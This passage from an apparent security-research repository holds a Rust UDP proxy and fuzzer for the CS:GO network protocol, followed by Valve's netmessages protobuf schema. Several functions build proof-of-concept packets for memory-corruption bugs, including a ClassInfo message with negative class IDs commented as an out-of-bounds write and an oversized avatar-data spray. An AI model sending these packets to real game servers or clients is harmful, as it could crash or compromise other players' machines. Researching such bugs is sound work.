| let num_rand_fudge = data[0] as usize; 315 | if num_rand_fudge > 0 && num_rand_fudge + 5 < data.len() { 316 | let num_bytes_written = u32::from_be_bytes( 317 | data[num_rand_fudge + 1..num_rand_fudge + 5] 318 | .try_into() 319 | .unwrap(), 320 | ) as usize; 321 | 322 | if num_rand_fudge + 5 + num_bytes_written == data.len() { 323 | return Some(Vec::from( 324 | &data[num_rand_fudge + 5..num_rand_fudge + 5 + num_bytes_written], 325 | )); 326 | } 327 | } 328 | 329 | None 330 | } 331 | 332 | fn main() { 333 | let args = parse_args(); 334 | 335 | // This needs to receive the current CSGO client version. 336 | let ice = ice::Ice::new(13779); 337 | // These also need the csgo version, as they will construct an Ice key as well. 338 | let mut client_parser = packet::Parser::new(13779); 339 | let mut server_parser = packet::Parser::new(13779); 340 | 341 | if let Some(to) = args.connect { 342 | connect(to.as_str()); 343 | } else if args.replay.is_some() { 344 | let packets = Storage::load(&args.replay.unwrap()); 345 | if packets.is_none() { 346 | println!("[-] LOAD failed"); 347 | return; 348 | } 349 | let packets = packets.unwrap(); 350 | for packet in packets.saved.iter() { 351 | // println!("recv_from: {}", packet.from); 352 | // if parser.net_receivedatagram_helper(&packet.data).is_none() { 353 | // continue; 354 | // } 355 | // println!(); 356 | 357 | // parser.process_socket(); 358 | } 359 | } else { 360 | let mut proxy = UdpProxyV4::new( 361 | args.server_ip 362 | .expect("Need Server IP! (--server-ip)") 363 | .parse() 364 | .expect("IPV4 is invalid"), 365 | 27015, 366 | args.log, 367 | ); 368 | 369 | let mut c2s_bytes = 0; 370 | let mut c2s_start = None; 371 | let mut c2s_packets = 0; 372 | let mut s2c_bytes = 0; 373 | let mut s2c_start = None; 374 | let mut s2c_packets = 0; 375 | 376 | let mut ctr = 0; 377 | let mut stage = 0; 378 | proxy 379 | .run( 380 | Box::new(move |proxy, data| -> Option { 381 | if let Some(res) = server_parser.on_packet(data) { 382 | if s2c_start.is_none() { 383 | s2c_start = Some(std::time::Instant::now()); 384 | } 385 | s2c_bytes += data.len(); 386 | s2c_packets += 1; 387 | if s2c_packets % 0x100 == 0 { 388 | //println!("S2C Throughput: {} kB/s", (s2c_bytes as f64 / 1024f64) / s2c_start.unwrap().elapsed().as_secs() as f64); 389 | } 390 | //print!("s2c: "); 391 | server_parser.dump_server_message(); 392 | } 393 | Some(true) 394 | }), 395 | // C2S closure. 396 | Box::new(move |proxy, data| -> Option { 397 | // proxy.send_server(poc_server(&ice, 10, stage)?.as_slice()); 398 | 399 | // return Some(false); 400 | if let Some(res) = client_parser.on_packet(data) { 401 | if c2s_start.is_none() { 402 | c2s_start = Some(std::time::Instant::now()); 403 | } 404 | c2s_bytes += data.len(); 405 | c2s_packets += 1; 406 | if c2s_packets % 0x100 == 0 { 407 | //println!("C2S Throughput: {} kB/s", (c2s_bytes as f64 / 1024f64) / c2s_start.unwrap().elapsed().as_secs() as f64); 408 | } 409 | client_parser.dump_client_message(); 410 | } 411 | Some(true) 412 | }), 413 | ) 414 | .expect("Proxy failed"); 415 | } 416 | } 417 | 418 | fn poc_server(ice: &ice::Ice, seq_nr: i32, stage: i32) -> Option> { 419 | let mut pay = Vec::new(); 420 | 421 | let p = packet::Splitpacket { 422 | net_id: -2, 423 | sq_num: seq_nr, 424 | packet_id: 0x7e7f, 425 | split_size: 1188, 426 | }; 427 | 428 | pay.extend_from_slice(p.as_arr().as_ref()); 429 | pay.extend_from_slice([b'A'; 0x7].as_ref()); 430 | 431 | Some(pay) 432 | } 433 | 434 | fn invincible(ice: &ice::Ice, seq: i32, seq_ack: i32, rel_state: u8) -> Option> { 435 | let str_cmd = netmessages::CnetMsgStringCmd { 436 | command: Some("open_buymenu".to_string()), 437 | }; 438 | 439 | let mut msg_raw = Vec::default(); 440 | str_cmd.encode(&mut msg_raw); 441 | 442 | let encoded_msg = create_packet_from_data(rel_state, /* net_StringCmd= */ 5, &msg_raw); 443 | let encoded_msg = update_seq_ack(&encoded_msg, seq, seq_ack); 444 | let encoded_msg = padd_packet(&encoded_msg[..]); 445 | ice.encrypt(&encoded_msg) 446 | } 447 | 448 | fn poc_net_msg_player_avatar_data_spray( 449 | ice: &ice::Ice, 450 | seq: i32, 451 | seq_ack: i32, 452 | rel_state: u8, 453 | accountid: u32, 454 | ) -> Option> { 455 | let mut avatar_data = netmessages::CnetMsgPlayerAvatarData { 456 | accountid: Some(accountid), 457 | rgb: Some(vec![0x41u8; 0xffae]), 458 | }; 459 | 460 | let mut msg_raw = Vec::default(); 461 | avatar_data.encode(&mut msg_raw); 462 | 463 | let encoded_msg = 464 | create_packet_from_data(rel_state, /* net_PlayerAvatarData = */ 100, &msg_raw); 465 | 466 | let encoded_msg = update_seq_ack(&encoded_msg, seq, seq_ack); 467 | 468 | let packet = padd_packet(&encoded_msg[..]); 469 | 470 | ice.encrypt(&packet) 471 | } 472 | 473 | fn poc_svc_PaintmapData(ice: &ice::Ice, seq: i32, seq_ack: i32, rel_state: u8) -> Option> { 474 | let mut paintmap_data = netmessages::CsvcMsgPaintmapData { 475 | paintmap: Some(vec![0x1; 0x10]), 476 | }; 477 | 478 | let mut client_raw = Vec::default(); 479 | paintmap_data.encode(&mut client_raw); 480 | 481 | let encoded_msg = 482 | create_packet_from_data(rel_state, /* svc_PaintmapData= */ 33, &client_raw); 483 | 484 | let encoded_msg = update_seq_ack(&encoded_msg, seq, seq_ack); 485 | 486 | let packet = padd_packet(&encoded_msg[..]); 487 | 488 | ice.encrypt(&packet) 489 | } 490 | /// returns complete packet ready to be sent 491 | fn poc_svc_ClassInfo(ice: &ice::Ice, seq: i32, seq_ack: i32, rel_state: u8) -> Option> { 492 | let mut class_info = netmessages::CsvcMsgClassInfo { 493 | create_on_client: Some(false), 494 | classes: Vec::default(), 495 | }; 496 | 497 | for i in 0..3 { 498 | let class = netmessages::csvc_msg_class_info::ClassT { 499 | class_id: Some(-i * 32), // oob access here, -559038737i32 == 0xdeadbeef 500 | // both "writers" can be empty too, only limit is on strcpy => no null bytes 501 | data_table_name: Some(format!("{:04}", i)), // content to be written 502 | class_name: Some(format!("{:04}", i)), 503 | }; 504 | 505 | class_info.classes.push(class); 506 | } 507 | 508 | // class_info.encode(&mut raw_msg); 509 | 510 | let mut client_raw = Vec::default(); 511 | class_info.encode(&mut client_raw); 512 | 513 | let encoded_msg = 514 | create_packet_from_data(rel_state, /* svc_ClassInfo = */ 10, &client_raw); 515 | 516 | let encoded_msg = update_seq_ack(&encoded_msg, seq, seq_ack); 517 | 518 | // println!("{:?}", encoded_msg); 519 | 520 | let packet = padd_packet(&encoded_msg[..]); 521 | 522 | ice.encrypt(&packet) 523 | } 524 | 525 | fn poc_entity_oob(ice: &ice::Ice, seq: i32, seq_ack: i32, rel_state: u8) -> Option> { 526 | let mut packet_entities = netmessages::CsvcMsgPacketEntities { 527 | max_entries: Some(10), 528 | updated_entries: Some(5), 529 | is_delta: Some(false), 530 | update_baseline: Some(true), 531 | baseline: Some(i32::MAX), 532 | delta_from: Some(12), 533 | entity_data: Some(vec![0, 1, 3, 4]), 534 | //pub updated_entries: ::std::option::Option, 535 | //pub is_delta: ::std::option::Option, 536 | //pub update_baseline: ::std::option::Option, 537 | //pub baseline: ::std::option::Option, 538 | //pub delta_from: ::std::option::Option, 539 | //pub entity_data: ::std::option::Option>, 540 | }; 541 | 542 | let mut packet_entities_raw = Vec::new(); 543 | 544 | packet_entities.encode(&mut packet_entities_raw); 545 | 546 | unimplemented!(); 547 | } 548 | 549 | const PACKET_CONNECT: &[u8] = &[ 550 | 255, 255, 255, 255, 113, 99, 111, 110, 110, 101, 99, 116, 48, 120, 48, 48, 48, 48, 48, 48, 48, 551 | 48, 0, 552 | ]; 553 | 554 | fn connect(to: &str) { 555 | let on_reset_socket = UdpSocket::bind("0.0.0.0:0").unwrap(); 556 | let mut buff = [0; 0x100]; 557 | loop { 558 | on_reset_socket.send_to(PACKET_CONNECT, to.to_string()); 559 | if let Ok((len, _)) = on_reset_socket.peek_from(&mut buff[..]) { 560 | if len != 0 { 561 | break; 562 | } 563 | } 564 | println!("server didn't awnser, trying again"); 565 | std::thread::sleep(std::time::Duration::from_millis(500)); 566 | } 567 | // socket has server connect resp 568 | on_reset_socket.recv_from(&mut buff[..]); 569 | 570 | let parse_packet = move || -> Option<(i32, i32)> { 571 | let mut msg = BitReader::new(&buff); 572 | 573 | assert!(msg.read_long()? == packet::CONNECTIONLESS_HEADER); 574 | assert!(msg.read_byte()? == 0x41); // 0x41 == 'A' == S2C_CHALLENGE 575 | let chall_nr = msg.read_long()?; 576 | let auth_protocol = msg.read_long()?; 577 | // we don't care about the rest, in engine/baseserver.cpp#1666 LL 578 | // msg.read_bytes(2)?; // short read steam2 encryption key 579 | // msg.read_bytes(8)?; // steam id of the server ? 580 | // msg.read_byte()?; // is BSecure, whatever that means 581 | // msg.read_string()?; // context we sent, should be "0x00000000" 582 | // msg.read_long()?; // host version 583 | // msg.read_string()?; // lobby type 584 | // msg.read_byte()?; // requires password 585 | // msg.read_bytes(8)?; // -1 long long value 586 | // msg.read_byte()?; // 0 byte value 587 | // msg.read_byte()?; // IsValveDS() 588 | assert!(msg.read_byte()? == 0); // requires encrypted channels, should be 0 589 | 590 | Some((chall_nr, auth_protocol)) 591 | }; 592 | 593 | let (chall_nr, auth_protocol) = match parse_packet() { 594 | None => panic!("Failed to parse challenge response packet"), 595 | Some((c, a)) => (c, a), 596 | }; 597 | 598 | // send connectionless connection creation packet 599 | let mut buf = BitWriter::new(); 600 | buf.write_long(packet::CONNECTIONLESS_HEADER); 601 | buf.write_char(b'k'); // first byte is enum, k == C2S_CONNECT 602 | buf.write_long(0x35cd); // protocol, server version essentially TODO: XXX: UPADE: THIS CHANGES, SAME version as 603 | buf.write_long(auth_protocol); // auth protocoll 604 | buf.write_long(chall_nr); // auth challNr 605 | buf.write_str("fuzzer"); // name 606 | buf.write_str(""); // password, set null for empty 607 | buf.write_byte(1); // player num => 1 608 | buf.write_var_int32(0); // packet type, isn't used 609 | 610 | let convars = netmessages::CMsgCVars { cvars: vec![] }; 611 | let split_player_connect = netmessages::CclcMsgSplitPlayerConnect { 612 | convars: Some(convars), 613 | }; 614 | 615 | let mut nm_wrapper = Vec::new(); 616 | split_player_connect.encode(&mut nm_wrapper); 617 | 618 | // write netmessage into bitwriter 619 | for b in nm_wrapper { 620 | buf.write_byte(b); 621 | } 622 | 623 | buf.write_bit(0); // we are not low violence 624 | buf.write_long_long(0); // reservation cookie 625 | buf.write_byte(1); // CROSSPLAYPLATFORM_PC 626 | buf.write_long(0); // EncryptionKeyIndex, want 0 627 | // game server is steam enabled so we prob wan't the steam cdkey serialisatio 628 | // need to write correct data :/ 629 | buf.write_short(1); // TODO: check this in the debugger 630 | buf.write_str("a"); 631 | 632 | let buffer = buf.finish(); 633 | on_reset_socket.send_to(buffer.as_slice(), to.to_string()); 634 | 635 | on_reset_socket.recv_from(&mut buff); 636 | on_reset_socket.recv_from(&mut buff); 637 | on_reset_socket.recv_from(&mut buff); 638 | } 639 | -------------------------------------------------------------------------------- /proxy/src/netmessages.proto: -------------------------------------------------------------------------------- 1 | //====== Copyright (c) 2013, Valve Corporation, All rights reserved. ========// 2 | // 3 | // Redistribution and use in source and binary forms, with or without 4 | // modification, are permitted provided that the following conditions are met: 5 | // 6 | // Redistributions of source code must retain the above copyright notice, this 7 | // list of conditions and the following disclaimer. 8 | // Redistributions in binary form must reproduce the above copyright notice, 9 | // this list of conditions and the following disclaimer in the documentation 10 | // and/or other materials provided with the distribution. 11 | // 12 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 13 | // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 14 | // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 15 | // ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 16 | // LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 17 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 18 | // SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 19 | // INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 20 | // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 21 | // ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF 22 | // THE POSSIBILITY OF SUCH DAMAGE. 23 | //===========================================================================// 24 | // 25 | // Purpose: The file defines our Google Protocol Buffers which are used in over 26 | // the wire messages for the Source engine. 27 | // 28 | //============================================================================= 29 | 30 | // Note about encoding: 31 | // http://code.google.com/apis/protocolbuffers/docs/encoding.html 32 | // 33 | // TL;DR: Use sint32/sint64 for values that may be negative. 34 | // 35 | // There is an important difference between the signed int types (sint32 and sint64) 36 | // and the "standard" int types (int32 and int64) when it comes to encoding negative 37 | // numbers. If you use int32 or int64 as the type for a negative number, the 38 | // resulting varint is always ten bytes long is, effectively, treated like a 39 | // very large unsigned integer. If you use one of the signed types, the resulting 40 | // varint uses ZigZag encoding, which is much more efficient. 41 | 42 | 43 | // Commenting this out allows it to be compiled for SPEED or LITE_RUNTIME. 44 | // option optimize_for = SPEED; 45 | 46 | package netmessages; 47 | 48 | // We don't use the service generation functionality 49 | option cc_generic_services = false; 50 | 51 | 52 | // 53 | // STYLE NOTES: 54 | // 55 | // Use CamelCase CMsgMyMessageName style names for messages. 56 | // 57 | // Use lowercase _ delimited names like my_steam_id for field names, this is non-standard for Steam, 58 | // but plays nice with the Google formatted code generation. 59 | // 60 | // Try not to use required fields ever. Only do so if you are really really sure you'll never want them removed. 61 | // Optional should be preffered as it will make versioning easier and cleaner in the future if someone refactors 62 | // your message and wants to remove or rename fields. 63 | // 64 | // Use fixed64 for JobId_t, GID_t, or SteamID. This is appropriate for any field that is normally 65 | // going to be larger than 2^56. Otherwise use int64 for 64 bit values that are frequently smaller 66 | // than 2^56 as it will safe space on the wire in those cases. 67 | // 68 | // Similar to fixed64, use fixed32 for RTime32 or other 32 bit values that are frequently larger than 69 | // 2^28. It will safe space in those cases, otherwise use int32 which will safe space for smaller values. 70 | // An exception to this rule for RTime32 is if the value will frequently be zero rather than set to an actual 71 | // time. 72 | // 73 | 74 | import "google/protobuf/descriptor.proto"; 75 | //import "network_connection.proto"; // common types are in here 76 | 77 | //============================================================================= 78 | // Common Types 79 | //============================================================================= 80 | 81 | message CMsgVector 82 | { 83 | optional float x = 1; 84 | optional float y = 2; 85 | optional float z = 3; 86 | } 87 | 88 | message CMsgVector2D 89 | { 90 | optional float x = 1; 91 | optional float y = 2; 92 | } 93 | 94 | message CMsgQAngle 95 | { 96 | optional float x = 1; 97 | optional float y = 2; 98 | optional float z = 3; 99 | } 100 | 101 | message CMsgRGBA 102 | { 103 | optional int32 r = 1; 104 | optional int32 g = 2; 105 | optional int32 b = 3; 106 | optional int32 a = 4; 107 | } 108 | 109 | //============================================================================= 110 | // Bidirectional NET Messages 111 | //============================================================================= 112 | 113 | enum NET_Messages 114 | { 115 | net_NOP = 0; 116 | net_Disconnect = 1; // disconnect, last message in connection 117 | net_File = 2; // file transmission message request/deny 118 | net_SplitScreenUser = 3; // Changes split screen user, client and server must both provide handler 119 | net_Tick = 4; // s->c world tick, c->s ack world tick 120 | net_StringCmd = 5; // a string command 121 | net_SetConVar = 6; // sends one/multiple convar/userinfo settings 122 | net_SignonState = 7; // signals or acks current signon state 123 | // client clc messages and server svc messages use the range 8+ 124 | net_PlayerAvatarData = 100; // player avatar RGB data (client clc & server svc message blocks use 8..., so start a new range here @ 100+) 125 | } 126 | 127 | message CNETMsg_Tick 128 | { 129 | optional uint32 tick = 1; // current tick count 130 | // optional uint32 host_frametime = 2; // Host frame time in 1/100000th of a second 131 | // optional uint32 host_frametime_std_deviation = 3; // Host frame time stddev in 1/100000th of a second 132 | optional uint32 host_computationtime = 4; // Host frame computation time in usec (1/1,000,000th sec) - will be say 4 ms when server is running at 25% CPU load for 64-tick server 133 | optional uint32 host_computationtime_std_deviation = 5; // Host frame computation time stddev in usec (1/1,000,000th sec) 134 | optional uint32 host_framestarttime_std_deviation = 6; // Host frame start time stddev in usec (1/1,000,000th sec) - measures how precisely we can wake up from sleep when meeting server framerate 135 | optional uint32 hltv_replay_flags = 7 ; // 0 or absent by default, 1 when hltv replay is in progress - used to fix client state in case of server crashes of full frame updates 136 | } 137 | 138 | message CNETMsg_StringCmd 139 | { 140 | optional string command = 1; 141 | } 142 | 143 | message CNETMsg_SignonState 144 | { 145 | optional uint32 signon_state = 1; // See SIGNONSTATE_ defines 146 | optional uint32 spawn_count = 2; // server spawn count (session number) 147 | optional uint32 num_server_players = 3; // Number of players the server discloses as connected to the server 148 | repeated string players_networkids = 4; // player network ids 149 | optional string map_name = 5; // Name of the current map 150 | } 151 | 152 | message CMsg_CVars 153 | { 154 | message CVar 155 | { 156 | optional string name = 1; 157 | optional string value = 2; 158 | optional uint32 dictionary_name = 3; // In order to save on connect packet size convars that are known will have their dictionary name index sent here 159 | } 160 | 161 | repeated CVar cvars = 1; 162 | } 163 | 164 | message CNETMsg_SetConVar 165 | { 166 | optional CMsg_CVars convars = 1; 167 | } 168 | 169 | message CNETMsg_NOP 170 | { 171 | } 172 | 173 | message CNETMsg_Disconnect 174 | { 175 | optional string text = 1; 176 | } 177 | 178 | message CNETMsg_File 179 | { 180 | optional int32 transfer_id = 1; 181 | optional string file_name = 2; 182 | optional bool is_replay_demo_file = 3; 183 | optional bool deny = 4; 184 | } 185 | 186 | message CNETMsg_SplitScreenUser 187 | { 188 | optional int32 slot = 1; 189 | } 190 | 191 | message CNETMsg_PlayerAvatarData 192 | { // 12 KB player avatar 64x64 rgb only no alpha 193 | // WARNING-WARNING-WARNING 194 | // This message is extremely large for our net channels 195 | // and must be pumped through special fragmented waiting list 196 | // via chunk-based ack mechanism! 197 | // See: INetChannel::EnqueueVeryLargeAsyncTransfer 198 | // WARNING-WARNING-WARNING 199 | optional uint32 accountid = 1; 200 | optional bytes rgb = 2; 201 | } 202 | 203 | 204 | //============================================================================= 205 | // Client messages 206 | //============================================================================= 207 | 208 | enum CLC_Messages 209 | { 210 | clc_ClientInfo = 8; // client info (table CRC etc) 211 | clc_Move = 9; // [CUserCmd] 212 | clc_VoiceData = 10; // Voicestream data from a client 213 | clc_BaselineAck = 11; // client acknowledges a new baseline seqnr 214 | clc_ListenEvents = 12; // client acknowledges a new baseline seqnr 215 | clc_RespondCvarValue = 13; // client is responding to a svc_GetCvarValue message. 216 | clc_FileCRCCheck = 14; // client is sending a file's CRC to the server to be verified. 217 | clc_LoadingProgress = 15; // client loading progress 218 | clc_SplitPlayerConnect = 16; 219 | clc_ClientMessage = 17; 220 | clc_CmdKeyValues = 18; 221 | clc_HltvReplay = 20; 222 | } 223 | 224 | message CCLCMsg_ClientInfo 225 | { 226 | optional fixed32 send_table_crc = 1; 227 | optional uint32 server_count = 2; 228 | optional bool is_hltv = 3; 229 | optional bool is_replay = 4; 230 | optional uint32 friends_id = 5; 231 | optional string friends_name = 6; 232 | repeated fixed32 custom_files = 7; 233 | } 234 | 235 | message CCLCMsg_Move 236 | { 237 | optional uint32 num_backup_commands = 1; // new commands = user_cmds_size() - num_backup_commands 238 | optional uint32 num_new_commands = 2; 239 | optional bytes data = 3; 240 | } 241 | 242 | enum VoiceDataFormat_t 243 | { 244 | VOICEDATA_FORMAT_STEAM = 0; // steam uses SILK 245 | VOICEDATA_FORMAT_ENGINE = 1; // was speex, switching to celt 246 | }; 247 | 248 | message CCLCMsg_VoiceData 249 | { 250 | optional bytes data = 1; 251 | optional fixed64 xuid = 2; 252 | optional VoiceDataFormat_t format = 3 [default = VOICEDATA_FORMAT_ENGINE]; 253 | optional int32 sequence_bytes = 4; // This is a TCP-style sequence number, so it includes the current packet length. So it's actually the offset within the compressed data stream of the next packet to follow (if any). 254 | optional uint32 section_number = 5; 255 | optional uint32 uncompressed_sample_offset = 6; 256 | } 257 | 258 | message CCLCMsg_BaselineAck 259 | { 260 | optional int32 baseline_tick = 1; 261 | optional int32 baseline_nr = 2; 262 | } 263 | 264 | message CCLCMsg_ListenEvents 265 | { 266 | repeated fixed32 event_mask = 1; 267 | } 268 | 269 | message CCLCMsg_RespondCvarValue 270 | { 271 | optional int32 cookie = 1; // QueryCvarCookie_t 272 | optional int32 status_code = 2; // EQueryCvarValueStatus 273 | optional string name = 3; 274 | optional string value = 4; 275 | } 276 | 277 | message CCLCMsg_FileCRCCheck 278 | { 279 | // See CCLCMsg_FileCRCCheck_t in netmessages.h while reading this. 280 | 281 | // Optimisation: 282 | 283 | // Do not set or get path or filename directly, use instead 284 | // CCLCMsg_FileCRCCheck_t::GetPath() 285 | // CCLCMsg_FileCRCCheck_t::GetPath()...etc.. 286 | 287 | // If the path and/or filename below is one of certain commonly occuring ones 288 | // then an index is stored instead of a string. So if code_path != -1 then 289 | // path == "". 290 | 291 | optional int32 code_path = 1; // read comment above 292 | optional string path = 2; // read comment above 293 | optional int32 code_filename = 3; // read comment above 294 | optional string filename = 4; // read comment above 295 | 296 | optional int32 file_fraction = 5; 297 | optional bytes md5 = 6; 298 | optional uint32 crc = 7; 299 | optional int32 file_hash_type = 8; 300 | optional int32 file_len = 9; 301 | optional int32 pack_file_id = 10; 302 | optional int32 pack_file_number = 11; 303 | } 304 | 305 | message CCLCMsg_LoadingProgress 306 | { 307 | optional int32 progress = 1; 308 | } 309 | 310 | message CCLCMsg_SplitPlayerConnect 311 | { 312 | optional CMsg_CVars convars = 1; 313 | } 314 | 315 | message CCLCMsg_CmdKeyValues 316 | { 317 | optional bytes keyvalues = 1; 318 | } 319 | 320 | 321 | //============================================================================= 322 | // Server messages 323 | //============================================================================= 324 | 325 | enum ESplitScreenMessageType 326 | { 327 | option allow_alias = true; 328 | 329 | MSG_SPLITSCREEN_ADDUSER = 0; 330 | MSG_SPLITSCREEN_REMOVEUSER = 1; 331 | MSG_SPLITSCREEN_TYPE_BITS = 1; 332 | }; 333 | 334 | enum SVC_Messages 335 | { 336 | svc_ServerInfo = 8; // first message from server about game; map etc 337 | svc_SendTable = 9; // sends a sendtable description for a game class 338 | svc_ClassInfo = 10; // Info about classes (first byte is a CLASSINFO_ define). 339 | svc_SetPause = 11; // tells client if server paused or unpaused 340 | svc_CreateStringTable = 12; // inits shared string tables 341 | svc_UpdateStringTable = 13; // updates a string table 342 | svc_VoiceInit = 14; // inits used voice codecs & quality 343 | svc_VoiceData = 15; // Voicestream data from the server 344 | svc_Print = 16; // print text to console 345 | svc_Sounds = 17; // starts playing sound 346 | svc_SetView = 18; // sets entity as point of view 347 | svc_FixAngle = 19; // sets/corrects players viewangle 348 | svc_CrosshairAngle = 20; // adjusts crosshair in auto aim mode to lock on traget 349 | svc_BSPDecal = 21; // add a static decal to the world BSP 350 | svc_SplitScreen = 22; // split screen style message 351 | svc_UserMessage = 23; // a game specific message 352 | svc_EntityMessage = 24; // a message for an entity 353 | svc_GameEvent = 25; // global game event fired 354 | svc_PacketEntities = 26; // non-delta compressed entities 355 | svc_TempEntities = 27; // non-reliable event object 356 | svc_Prefetch = 28; // only sound indices for now 357 | svc_Menu = 29; // display a menu from a plugin 358 | svc_GameEventList = 30; // list of known games events and fields 359 | svc_GetCvarValue = 31; // Server wants to know the value of a cvar on the client 360 | svc_PaintmapData = 33; // Server paintmap data 361 | svc_CmdKeyValues = 34; // Server submits KeyValues command for the client 362 | svc_EncryptedData = 35; // Server submites encrypted data 363 | svc_HltvReplay = 36; // start or stop HLTV-fed replay 364 | svc_Broadcast_Command = 38; // broadcasting a user command 365 | } 366 | 367 | message CSVCMsg_ServerInfo 368 | { 369 | optional int32 protocol = 1; // protocol version 370 | optional int32 server_count = 2; // number of changelevels since server start 371 | optional bool is_dedicated = 3; // dedicated server ? 372 | optional bool is_official_valve_server = 4; 373 | optional bool is_hltv = 5; // HLTV server ? 374 | optional bool is_replay = 6; // Replay server ? 375 | optional bool is_redirecting_to_proxy_relay = 21; // // Will be redirecting to proxy relay 376 | optional int32 c_os = 7; // L = linux, W = Win32 377 | optional fixed32 map_crc = 8; // server map CRC 378 | optional fixed32 client_crc = 9; // client.dll CRC server is using 379 | optional fixed32 string_table_crc = 10; // string table CRC server is using 380 | optional int32 max_clients = 11; // max number of clients on server 381 | optional int32 max_classes = 12; // max number of server classes 382 | optional int32 player_slot = 13; // our client slot number 383 | optional float tick_interval = 14; // server tick interval 384 | optional string game_dir = 15; // game directory eg "tf2" 385 | optional string map_name = 16; // name of current map 386 | optional string map_group_name = 17; // name of current map 387 | optional string sky_name = 18; // name of current skybox 388 | optional string host_name = 19; // server name 389 | optional uint32 public_ip = 20; 390 | optional uint64 ugc_map_id = 22; 391 | } 392 | 393 | message CSVCMsg_ClassInfo 394 | { 395 | message class_t 396 | { 397 | optional int32 class_id = 1; 398 | optional string data_table_name = 2; 399 | optional string class_name = 3; 400 | } 401 | 402 | optional bool create_on_client = 1; 403 | repeated class_t classes = 2; 404 | } 405 | 406 | message CSVCMsg_SendTable 407 | { 408 | message sendprop_t 409 | { 410 | optional int32 type = 1; // SendPropType 411 | optional string var_name = 2; 412 | optional int32 flags = 3; 413 | optional int32 priority = 4; 414 | optional string dt_name = 5; // if pProp->m_Type == DPT_DataTable || IsExcludeProp 415 | optional int32 num_elements = 6; // else if pProp->m_Type == DPT_Array 416 | optional float low_value = 7; // else ... 417 | optional float high_value = 8; // ... 418 | optional int32 num_bits = 9; // ... 419 | }; 420 | 421 | optional bool is_end = 1; 422 | optional string net_table_name = 2; 423 | optional bool needs_decoder = 3; 424 | repeated sendprop_t props = 4; 425 | } 426 | 427 | message CSVCMsg_Print 428 | { 429 | optional string text = 1; 430 | } 431 | 432 | message CSVCMsg_SetPause 433 | { 434 | optional bool paused = 1; 435 | } 436 | 437 | message CSVCMsg_SetView 438 | { 439 | optional int32 entity_index = 1; 440 | } 441 | 442 | message CSVCMsg_CreateStringTable 443 | { 444 | optional string name = 1; 445 | optional int32 max_entries = 2; 446 | optional int32 num_entries = 3; 447 | optional bool user_data_fixed_size = 4; 448 | optional int32 user_data_size = 5; 449 | optional int32 user_data_size_bits = 6; 450 | optional int32 flags = 7; 451 | optional bytes string_data = 8; 452 | } 453 | 454 | message CSVCMsg_UpdateStringTable 455 | { 456 | optional int32 table_id = 1; 457 | optional int32 num_changed_entries = 2; 458 | optional bytes string_data = 3; 459 | } 460 | 461 | message CSVCMsg_VoiceInit 462 | { 463 | optional int32 quality = 1; 464 | optional string codec = 2; 465 | optional int32 version = 3 [default = 0]; 466 | } 467 | 468 | message CSVCMsg_VoiceData 469 | { 470 | optional int32 client = 1; 471 | optional bool proximity = 2; 472 | optional fixed64 xuid = 3; 473 | optional int32 audible_mask = 4; 474 | optional bytes voice_data = 5; 475 | optional bool caster = 6; 476 | optional VoiceDataFormat_t format = 7 [default = VOICEDATA_FORMAT_ENGINE]; 477 | optional int32 sequence_bytes = 8; // This is a TCP-style sequence number, so it includes the current packet length. So it's actually the offset within the compressed data stream of the next packet to follow (if any). 478 | optional uint32 section_number = 9; 479 | optional uint32 uncompressed_sample_offset = 10; 480 | } 481 | 482 | message CSVCMsg_FixAngle 483 | { 484 | optional bool relative = 1; 485 | optional CMsgQAngle angle = 2; 486 | } 487 | 488 | message CSVCMsg_CrosshairAngle 489 | { 490 | optional CMsgQAngle angle = 1; 491 | } 492 | 493 | message CSVCMsg_Prefetch 494 | { 495 | optional int32 sound_index = 1; 496 | } 497 | 498 | message CSVCMsg_BSPDecal 499 | { 500 | optional CMsgVector pos = 1; 501 | optional int32 decal_texture_index = 2; 502 | optional int32 entity_index = 3; 503 | optional int32 model_index = 4; 504 | optional bool low_priority = 5; 505 | } 506 | 507 | message CSVCMsg_SplitScreen 508 | { 509 | optional ESplitScreenMessageType type = 1; 510 | optional int32 slot = 2; 511 | optional int32 player_index = 3; 512 | } 513 | 514 | message CSVCMsg_GetCvarValue 515 | { 516 | optional int32 cookie = 1; // QueryCvarCookie_t 517 | optional string cvar_name = 2; 518 | } 519 | 520 | message CSVCMsg_Menu 521 | { 522 | optional int32 dialog_type = 1; // DIALOG_TYPE 523 | optional bytes menu_key_values = 2; // KeyValues.WriteAsBinary() 524 | } 525 | 526 | message CSVCMsg_UserMessage 527 | { 528 | optional int32 msg_type = 1; 529 | optional bytes msg_data = 2; 530 | optional int32 passthrough = 3;// 0 or absent = normal event; 1 = pass-through real-time event needed during replay 531 | } 532 | 533 | message CSVCMsg_PaintmapData 534 | { 535 | optional bytes paintmap = 1; 536 | } 537 | 538 | message CSVCMsg_GameEvent 539 | { 540 | message key_t 541 | { 542 | optional int32 type = 1; // type 543 | optional string val_string = 2; // TYPE_STRING 544 | optional float val_float = 3; // TYPE_FLOAT 545 | optional int32 val_long = 4; // TYPE_LONG 546 | optional int32 val_short = 5; // TYPE_SHORT 547 | optional int32 val_byte = 6; // TYPE_BYTE 548 | optional bool val_bool = 7; // TYPE_BOOL 549 | optional uint64 val_uint64 = 8; // TYPE_UINT64 550 | optional bytes val_wstring = 9; // TYPE_WSTRING 551 | } 552 | 553 | optional string event_name = 1; 554 | optional int32 eventid = 2; 555 | repeated key_t keys = 3; 556 | optional int32 passthrough = 4; // 0 or absent = normal event; 1 = pass-through real-time event needed during replay 557 | } 558 | 559 | message CSVCMsg_GameEventList 560 | { 561 | message key_t 562 | { 563 | optional int32 type = 1; 564 | optional string name = 2; 565 | }; 566 | 567 | message descriptor_t 568 